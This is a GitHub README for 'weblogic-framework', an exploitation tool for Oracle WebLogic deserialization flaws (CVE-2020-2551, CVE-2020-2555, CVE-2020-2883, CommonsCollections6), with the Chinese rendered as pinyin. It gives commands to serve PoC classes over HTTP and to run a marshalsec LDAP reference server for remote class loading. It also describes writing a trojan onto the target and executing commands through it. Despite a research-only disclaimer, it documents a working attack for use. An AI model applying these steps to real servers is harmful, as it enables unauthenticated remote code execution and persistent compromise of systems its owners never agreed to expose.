Dark Mode

Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly
Sign up
Appearance settings

sv3nbeast/weblogic-framework

Folders and files

NameName
Last commit message
Last commit date

Latest commit

History

3 Commits

Repository files navigation

weblogic-framework

weblogic-framework is the best tool for detecting weblogic vulnerabilities.

Mian Ze Shen Ming

Ben Gong Ju Jin Gua Yong Yu An Quan Ji Zhu Yan Jiu ,Yan Jin Shi Yong Ben Gong Ju Fa Qi Wang Luo Hei Ke Gong Ji ,Zao Cheng De Fa Lu Hou Guo ,Qing Shi Yong Zhe Zi Fu .

Shi Yong Fang Shi

Chang Yong Lou Dong

You Yu Weblogic De Bu Ding Shi Hu Chi De ,An Zhuang Zui Xin De Bu Ding Shi Xu Yao Jin Xing Xie Zai Zhi Qian De Bu Ding ,Suo Yi Yi Xia Lou Dong Jin Hui Bao Chi Zui Xin , Gao Ke Yong De Yuan Ze Jin Xing Shi Yong .

CVE-2020-2551

CVE-2020-2551 Jian Ce Xu Yao Pei He LDAP Jin Xing Jian Ce ,Hui Xian POC Ke Shi Yong Yuan Cheng CDN De Di Zhi Ye Ke Yi Zi Qi HTTP Fu Wu Ti Gong .

/**
* Title: CVE-2020-2551
* Desc:
*


* Gong Ji Zhe Ke Yi Tong Guo T3, IIOP Xie Yi Yuan Cheng Fang Wen Weblogic Server Fu Wu Qi Shang De Yuan Cheng Jie Kou ,Chuan Ru E Yi Shu Ju ,Cong Er Huo Qu Fu Wu Qi Quan Xian Bing Zai Wei Shou Quan Qing Kuang Xia Yuan Cheng Zhi Xing Ren Yi Dai Ma .
* Lou Dong Ying Xiang Ban Ben :
* Oracle WebLogic Server 10.3.6.0.0
* Oracle WebLogic Server 12.1.3.0.0
* Oracle WebLogic Server 12.2.1.3.0
* Oracle WebLogic Server 12.2.1.4.0
* github: https://github.com/0nise/CVE-2020-2551
* paper: https://www.r4v3zn.com/posts/b64d9185/
*


* Date:2020/3/23 23:05
* Email:woo0nise@gmail.com
* @version 1.1.0
*/

Jiang POC Mu Lu Zhong Wen Jian Shang Chuan Zhi HTTP Fu Wu Zhong ,Huo Zhe Shang Chuan Zhi Jing Tai Ke Fang Wen Mu Lu ,Ye Ke Yi Shang Chuan Zhi CDNDeng .

python3 -m http.server 80

Yuan Cheng Ti Gong POC Ru Xia :

URL LDAP She Zhi Di Zhi Hui Xian Lei Bei Zhu
http://ip:port/PocServerClusterMasterRemote.class http://ip:port/#PocServerClusterMasterRemote ClusterMasterRemote ClusterMasterRemote Hui Xian (Mo Ren )
http://ip:port/PocServerRemoteChannelService.class http://ip:port/#PocServerRemoteChannelService RemoteChannelService ClusterMasterRemote Hui Xian
http://ip:port/PocServerRemoteLeasingBasis.class http://ip:port/#PocServerRemoteLeasingBasis RemoteLeasingBasis RemoteLeasingBasis Hui Xian
http://ip:port/PocServerRemoteMigratableServiceCoordinator.class http://ip:port/#PocServerRemoteMigratableServiceCoordinator RemoteMigratableServiceCoordinator RemoteMigratableServiceCoordinator Hui Xian
http://ip:port/PocServerSingletonMonitorRemote.class http://ip:port/#PocServerSingletonMonitorRemote SingletonMonitorRemote SingletonMonitorRemote Hui Xian
http://ip:port/PocServerSubCoordinatorRM.class http://ip:port/#PocServerSubCoordinatorRM SubCoordinatorRM SubCoordinatorRM Hui Xian
  1. Qi Dong LDAP Fu Wu
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip:port/#PocServerClusterMasterRemote 1099
  1. Pei Zhi LDAP Di Zhi :

CommonsCollections6

/**
* Title: CommonsCollections6
* Desc:
*


* Gong Ji Zhe Ke Yi Tong Guo T3, IIOP Xie Yi Yuan Cheng Fang Wen Weblogic Server Fu Wu Qi Shang De Yuan Cheng Jie Kou ,Chuan Ru E Yi Shu Ju ,Cong Er Huo Qu Fu Wu Qi Quan Xian Bing Zai Wei Shou Quan Qing Kuang Xia Yuan Cheng Zhi Xing Ren Yi Dai Ma .
* Lou Dong Ying Xiang Ban Ben :
* Oracle WebLogic Server 10.3.6.0.0
* Oracle WebLogic Server 12.1.3.0.0
*


* Date:2020/4/5 3:48
* @version 1.0.0
*/

CVE-2020-2555

/**
* Title: CVE-2020-2555
* Desc:
*


* CVE-2020-2555
* Oracle Fusion Zhong Jian Jian Oracle Coherence Cun Zai Que Xian ,Gong Ji Zhe Ke Li Yong Gai Lou Dong Zai Wei Jing Shou Quan Xia Tong Guo Gou Zao T3, IIOP Xie Yi Qing Qiu ,Huo Qu Weblogic Fu Wu Qi Quan Xian ,Zhi Xing Ren Yi Ming Ling .
* Gai Lou Dong Zhu Yao Shi Yin Wei com.tangosol.util.filter.LimitFilter#toString Hong Fa .
* Lou Dong Ying Xiang Ban Ben :
* Oracle Coherence 3.7.1.17
* Oracle Coherence & Weblogic 12.1.3.0.0
* Oracle Coherence & Weblogic 12.2.1.3.0
* Oracle Coherence & Weblogic 12.2.1.4.0
* github: https://github.com/0nise/CVE-2020-2555
* paper: https://www.r4v3zn.com/posts/975312a1/
*


* Date:2020/3/31 21:31
* @version 1.0.0
*/

CVE-2020-2883

/**
* Title: CVE-2020-2883
* Desc:
*


* CVE-2020-2883
* Oracle Fusion Zhong Jian Jian Oracle Coherence Cun Zai Que Xian ,Gong Ji Zhe Ke Li Yong Gai Lou Dong Zai Wei Jing Shou Quan Xia Tong Guo Gou Zao T3, IIOP Xie Yi Qing Qiu ,Huo Qu WeblogicFu Wu Qi Quan Xian ,Zhi Xing Ren Yi Ming Ling .
* Gai Lou Dong Zhu Yao Wei CVE-2020-2555 Ji Yu CommonsCollections2 (ExtractorComparator + PriorityQueue) De Rao Guo .
* Lou Dong Ying Xiang Ban Ben :
* Oracle Coherence 3.7.1.17
* Oracle Coherence & Weblogic 12.1.3.0.0
* Oracle Coherence & Weblogic 12.2.1.3.0
* Oracle Coherence & Weblogic 12.2.1.4.0
*


* Date: 2020/4/19 15:28
*
* @version 1.0.0
*/

Shi Yong

  • CommonsCollections6 Bu Xu Yao E Wai Pei Zhi Can Shu Ke Zhi Jie Li Yong ,Ying Xiang Ban Ben :Weblogic 10.3.6.0, 12.1.3.0 .
  • CVE-2020-2555, CVE-2020-2883 Li Yong Shi Te Shu Qing Kuang (Weblogic Ban Ben Wei 12.2.x)Xia Xu Yao Pei Zhi javascript.jar De Xia Zai Di Zhi ,Mo Ren Cheng Xu Hui Zi Dai Yi Ge Xia Zai Di Zhi ,Ru Shi Xiao Ke Tong Guo Jiang com.bea.javascript.jar Wen Jian Fang Zhi Zai Ke Fang Wen De HTTP Fu Wu Zhong ,Ying Xiang Ban Ben :Weblogic 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0.

Gong Ji Cheng Gong Shi Hui Cheng Xu Hui Zhan Shi token Ming Cheng ,Fu Zhi token Ming Cheng Zhi Ming Ling Zhi Xing Zhong De token Shu Ru Kuang Zhong ,Ji Ke Zhi Xing Ming Ling :

Fu Lu

Hui Xian Fang An

Javascript

Tong Guo javascript.jar Jin Xing Jia Zai byte[] Zi Jie Ma Wen Jian Jin Xing Xu Lie Hua ,Xie Ru Mu Ma ,Bang Ding Hui Xian .

FileOutStream

  1. Tong Guo FileOutStream Jiang Zi Jie Ma Wen Jian Xie Ru Weblogic Fu Wu Qi Zhong
  2. Tong Guo URLClassLoader Jin Xing Jia Zai FileOutStream Xie Ru De Wen Jian Mu Ma Bing Fan She Zhi Xing Mu Ma .
  3. URLClassLoader Zan Qie Bu Zhi Chi CVE-2020-2551 Lou Dong .

Pei Zhi Xiang

Mu Biao Di Zhi

Xu Yao Ce Shi Mu Biao Di Zhi ,Ge Shi Bi Xu Wei HTTP Kai Tou

Hui Xian Fang An

Jian Hui Xian Fang An Shuo Ming

javascript Di Zhi

Dang Hui Xian Fang An Pei Zhi Wei Javascript Shi Xu Yao Pei Zhi ,Mo Ren Qing Kuang Hui Pei Zhi Yi Ge Di Zhi ,Ye Ke Zi Jian Yi Ge HTTP Fu Wu Jiang Wen Jian Zuo Wei Xia Zai Wen Jian .

LDAP Di Zhi

Yan Zheng CVE-2020-2551 Shi Bi Xu Yao Shi Yong De Pei Zhi Xiang ,Mo Ren Qing Kuang Xia Bu Hui Jin Xing Pei Zhi Xu Yao Zi Xing Kai Qi LDAP Fu Wu ,Li Yong De EXP Mo Ren Cun Chu Zai poc Mu Lu Zhong (Zai Shou Ce Zhong Fu Dai Yuan Cheng De Di Zhi ,Shi Yong Shi Ke Zhi Jie Zhi Xiang Yuan Cheng Di Zhi ),Kai Qi LDAP Fu Wu Ke Tong Guo marshalsec Jin Xing Qi Dong ,Yi Xia Wei Xiang Xi De Qi Dong Ming Ling :

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip:port/#PocServerClusterMasterRemote 1099

Lou Dong Bian Hao

Mo Ren Qing Kuang Xia Wei Qing Xuan Ze Xuan Xiang ,Mu Qian Yi Jing Ji Cheng CVE-2020-2551, CVE-2020-2555, CVE-2020-2883.

Xie Yi

Ce Shi , Li Yong Lou Dong Shi Shi Yong De Xie Yi ,Mo Ren Qing Kuang Xia Shi Yong IIOP Xie Yi ,T3 Xie Yi Bu Wen Ding .

Hui Xian Lei

Shi Yong T3, IIOP Xie Yi Jin Xing Li Yong Shi Zhi Xing Ming Ling Hui Xian De Lei ,Mo Ren Qing Kuang Xia Wei ClusterMasterRemote.

Bian Ma

Zhi Xing Ming Ling Zhi Xing Hui Xian De Bian Ma ,Mo Ren Qing Kuang Xia Wei Zi Dong ,Ke Tong Guo Pei Zhi Xiang She Zhi Wei UTF-8, GBK Bian Ma .

Ban Ben

Weblogic Ban Ben ,Zai Ti Qian De Zhi Ban Ben De Qing Kuang Xia Ke Tong Guo Gai Fang Shi Jin Xing Pei Zhi .

FQA

Q:Wei Shi Yao Jia Ru Zhi Qian De Lou Dong ?

Weblogic De An Quan Geng Xin Bu Ding Shi Hu Chi De ,An Zhuang Shi Xu Yao Xie Zai Zhi Qian De Bu Ding ,Suo Yi Zhi Xu Yao Bao Chi Zui Jin Yi Nian De Jing Hua Li Yong Lou Dong Ji Ke .

Geng Xin Ri Zhi

2020-06-25

  • Xin Zeng T3, IIOP Xie Yi Kai Fang Jian Ce
  • You Hua CVE-2020-2551 Hui Xian Fang An

2020-04-04

  • Qu Xiao Ru Kou Wei ip + port Fang Shi Xiu Gai Wei url Fang Shi
  • Xiu Gai Bu Fen Shi Xian

About

weblogic-framework

Resources

Readme

License

Apache-2.0 license

Stars

Watchers

Forks

Packages

Contributors